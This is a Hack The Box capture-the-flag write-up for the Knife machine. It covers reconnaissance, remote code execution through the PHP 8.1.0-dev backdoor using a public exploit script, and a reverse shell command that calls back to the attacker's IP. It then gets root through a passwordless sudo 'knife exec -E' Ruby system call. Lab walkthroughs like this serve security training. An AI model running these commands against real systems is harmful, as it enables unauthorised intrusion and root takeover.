CTF··3 min read

HTB Knife: PHP 8.1.0-dev Supply Chain Backdoor RCE to Root

First, add your IP to /etc/hosts to make the target accessible while conducting scans.

Reconnaissance

sudo nmap -sV -sC knife.htb

Nmap scan output showing open ports 22, 80, and 443 on knife.htb with service versions, including Apache and PHP 8.1.0-dev.

Let’s check port 80 to see whether there is an application or any static page available.

Gobuster directory scan output on knife.htb showing no interesting directories found, only default Apache page.

Begin to fuzz; I prefer gobuster. No juicy results appeared.

Burp Suite HTTP history showing a GET request to knife.htb and response headers revealing X-Powered-By: PHP/8.1.0-dev.

Therefore, I also wanted to analyze requests/responses through Burp Suite since there were no clues on both the web surface and the network side.

Terminal output of the PHP 8.1.0-dev exploit script showing successful execution and a shell prompt.

Exploitation

An RCE vulnerability was found particularly on this PHP version.

PHP/8.1.0-dev

GitHub repository page for php-8.1.0-dev-zerodiumRCE.py showing code and usage instructions.

I found a repository containing a direct RCE exploit via GitHub.

RCE on User-Agent

Let’s run it:

chmod +x php-8.1.0-dev-zerodiumRCE.py ./php-8.1.0-dev-zerodiumRCE.py [url]

Got a shell directly:

Terminal output of running the exploit script against knife.htb, showing a shell prompt and the command 'ls' revealing user flag.

Found the user flag under the /home/james/ directory.

Terminal output showing the contents of /home/james directory including user.txt flag.

Privilege Escalation

The unrestricted sudo execution here can be compared with the sudo-to-root Perl path in HTB Shocker: RCE via CGI-bin + Perl Privesc.

Upgrade user to root:

Terminal output of 'sudo -l' showing user james can run /usr/bin/knife as root without password.

Observed that the user can run the knife command with root privileges.

Terminal output of the knife command help showing the -E option for executing Ruby code.

The previous exploit did not provide a stable reverse shell, so I switched to this one:

Reverse Shell Exploit

Simply run the exploit. Some exploits support -h and direct run as guidance. Now use the entire command:

python shell.py http://knife.htb 10.10.14.50 4444

Terminal output of running the Python reverse shell script with target and IP, showing a connection established.

Check the usage of the knife command:

Knife Manual

The knife command's -E parameter supports the Ruby language, so I began searching for how to execute terminal commands via Ruby.

Stack Overflow page showing a Ruby code snippet using system('ls') to execute commands.

A Stack Overflow topic suggests that system('ls') works for such operations.

Terminal output of the command 'sudo /usr/bin/knife exec -E "system('ls')"' showing directory listing.

sudo /usr/bin/knife exec -E "system('ls')"

Terminal output of the knife exec command with system('ls') showing the contents of the current directory.

Now let’s become root:

sudo /usr/bin/knife exec -E "system('sudo su')"

Terminal output of the command 'sudo /usr/bin/knife exec -E "system('sudo su')"' showing a root shell prompt.

Got the root flag from /root/ and done!

Terminal output showing the contents of /root directory including root.txt flag.
May The Pentest Be With You ! ! !